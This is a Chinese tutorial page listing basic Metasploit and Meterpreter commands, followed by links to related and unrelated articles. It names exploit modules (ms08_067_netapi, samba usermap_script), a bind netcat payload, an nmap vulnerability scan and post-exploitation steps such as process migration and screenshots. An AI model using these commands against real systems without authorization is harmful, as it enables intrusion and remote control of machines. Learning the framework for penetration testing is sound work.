Metasploit基础命令
msf > show exploits
列Metasploip的所有可用的渗透测试框架。在MSF终端中可以针对渗透测试中发现的安全漏洞来实施相应的渗透攻击。
msf > show auxiliary
列出所有的辅助模块以及他们的用途。
msf > show options
用来保证Metasploit框架中的各个模块正确运行所需的设置。
例如:当你选择一个模块
msf > use windows/smb/ms08_067_netapi
然后:
msf exploit(ms08_067_netapi) > show options
小技巧: 使用back回退到 msg >
msf > search mssql
搜索某个特定的渗透攻击、辅助或攻击载荷
msf > show payloads
列出所有的攻击载荷
在使用一个渗透模块时使用会列出适合这个模块的攻击载荷
msf > show targets
Metasploit的渗透攻击模块通常可以列出受到漏洞影响目标系统的类型。简单来说攻击仅针对特定的操作系统版本,且只适用于特定的补丁级别、语言版本以及安全机制实现。
msf exploit(ms08_067_netapi) > info
列出ms08_067_netapi模块的详细信息
Metasploit模块中所有参数只有两个状态:已设置(set)或未设置(unset)
setg命令和unsetg命令能够对全局参数进行设置或清除
使用save命令可以将setg命令对全局参数的设置保存,下次MSF终端启动时还可以使用这些设置值
模块列表4个参数的意义:
Name Current Setting Required Description
模块名 当前的设置 必输项(yes,no) 描述
Metasploit下扫描漏洞
msf > nmap -sT -A -script=smb-check-vulns -PO 192.168.1.102
全端口攻击载荷:
Meterpreter ("黑客瑞士军刀") 基本命令
成功入侵系统并获得系统的Meterpreter会话之后,我们可以利用一些基本的Meterpreter的帮助命令,来收集更多的信息
meterpreter > screenshot
获取当前活动用户的桌面截图保存到opt/metasploit3/msf3/下
msfcli multi/samba/usermap_script S
对选定的渗透攻击模块显示详细信息
msfcli multi/samba/usermap_script P
查看可用的攻击模块
msfcli multi/samba/usermap_script PAYLOAD=cmd/unix/bind_netcat O
选择一个攻击载荷,并查看需要设置的配置参数
msfcli multi/samba/usermap_script PAYLOAD=cmd/unix/bind_netcat T
查看渗透攻击模块的目标类型列表
以option=value的方式设置所需要设置的配置参数,并以E模式来执行这次渗透攻击
Meterpreter有效载荷命令:
Meterpreter > ps
列出渗透机的所有进程
Meterpreter > migrate 1420
Meterpreter通常会在已被攻击进程的内存中运行,所有最好将进程转移到一个长久进程中。
meterpreter > sysinfo
获取系统信息
Metasploit基础命令的更多相关文章
- KALI LINUX WEB 渗透测试视频教程—第十九课-METASPLOIT基础
原文链接:Kali Linux Web渗透测试视频教程—第十九课-metasploit基础 文/玄魂 目录 Kali Linux Web 渗透测试视频教程—第十九课-metasploit基础..... ...
- meterpreter基础命令大全
meterpreter meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用.为后渗透提供了很多便捷之处 基础命令 我们进入meterpreter之后,键入 ...
- metasploit msfconsole 命令
metasploit msfconsole 命令 msf > help db_autopwn Commands =================== Command Description - ...
- 学习 git基础命令
缘起 年后到了新公司,由于个人意愿到了一个海外的项目组,除了自己从Java技术栈转了C#技术栈外,很多技术都是第一次使用,学习压力不小啊. 自己也就先从常用的技术开始学起,比如C#,AngularJS ...
- Linux安全基础:shell及一些基础命令
1.什么是shell?Shell是用户和Linux操作系统之间的接口.Linux中有多种shell,其中缺省使用的是Bash. 2.shell的分类(1)bash bash shell 是 Bourn ...
- LINUX二十个基础命令
LINUX二十个基础命令 一. useradd命令 1.命令格式: useradd 选项 用户名 2.命令功能: 添加新的用户账号 3.常用参数: -c comment 指定一段注释性描述.-d 目录 ...
- Docker - Docker基础命令及使用
Docker Docker - 官网 Docker - Hub GitHub - Docker Docker中文社区 Docker基础命令 Docker 查看帮助信息:docker --help 查看 ...
- vim基础命令
2015-06-04 by komilevim基础命令 打开一个文件 vim index.php 几种模式说明Normal Mode也就是最一般的普通模式,默认进入vim之后,处于这种模式.Inser ...
- linux学习之——基础命令
Linux体系基础命令: Linux是一个命令行组成的操作体系!精华在命令行,岂论图形界面成长到什么水平这个原理是不会变的,Linux命令有许多壮大的效用:从简单的磁盘操作.文件存取.到举办庞大的多媒 ...
随机推荐
- DataGridView 些许事件测试
原始设计需求:当单元格内容是空白时,鼠标进入之后,显示一些数据 直观的第一感觉必然是用CellClick,细想,如果用户不用鼠标,直接按Tab键切换单元格呢?又或者,用户直接双击涅~ 主要测试的是: ...
- 视频处理控件TVideoGrabber部分技术问题解答
TVideoGrabber是一个功能全面.易于使用的视频捕捉工具和多媒体播放器,本文搜集了一些TVideoGrabber的技术问答,并针对于有的朋友遇到的疑难给出了解答. 一.在TVideoGrabb ...
- linux上操作mysql数据库
sudo /etc/init.d/mysql start启动mysql netstat -lntup|grep 3306查看端口3306 grant all privileges on *.* to ...
- 为什么drop table的时候要在checking permissions花很长时间?
昨天,我drop一个表的时候在checking permissions花了20s+,这个时间花在哪里了呢?经常查找发现我的配置文件innodb_file_per_table=1的,innodb需要遍历 ...
- Char、AnsiChar、WideChar、PChar、PAnsiChar、PWideChar 的用法
varc: Char; {Char 类型的取值范围是: #0..#255, 用十六进制表示是: #$0..#$FF}begin{用十进制方式赋值:}c := #65;ShowMessage(c); ...
- Linux终端乱码的解决办法
用SSH连接Linux时经常会遇到乱码的情况,痛苦了好久,在网上找到一个解决办法,编辑~/.bash_profile文件,加入下面两行: LANG="zh_CN.GB18030" ...
- drupal 自定义表单调用autocomplete主标签实现方法
代码如下: <php function module_name_form() { $form = array(); $form['city'] = array( '#title' => t ...
- PHP 设计模式之观察者模式
现在有两派,有的人建议使用设计模式,有的人不建议使用设计模式!这就向写文章一样,有的人喜欢文章按照套路走,比如叙事性质的文章,时间,地点,人物,事件.而有的人喜欢写杂文或者散文,有的人喜欢写诗词! 现 ...
- PHP serialize & JSON 解析
对于JSON(JavaScript Object Notation)大家应该不陌生,它是一种轻量级的数据交换格式.易于人阅读和编写.同时也易于机器解析和生成.它基于JavaScript Program ...
- 以雅酷网为实例从技术上说说dedecms的seo优化要注意哪些?
目前在做雅酷网 ,雅酷卡是雅酷时空公司的产品,我个人感觉用雅酷卡消费还是比较实惠的,而雅酷卡的特色便是雅酷健身卡,很多站长成天的趴电脑上,可以考虑办一张这样的卡,在周末的时候去健身中心活动活动,还是比 ...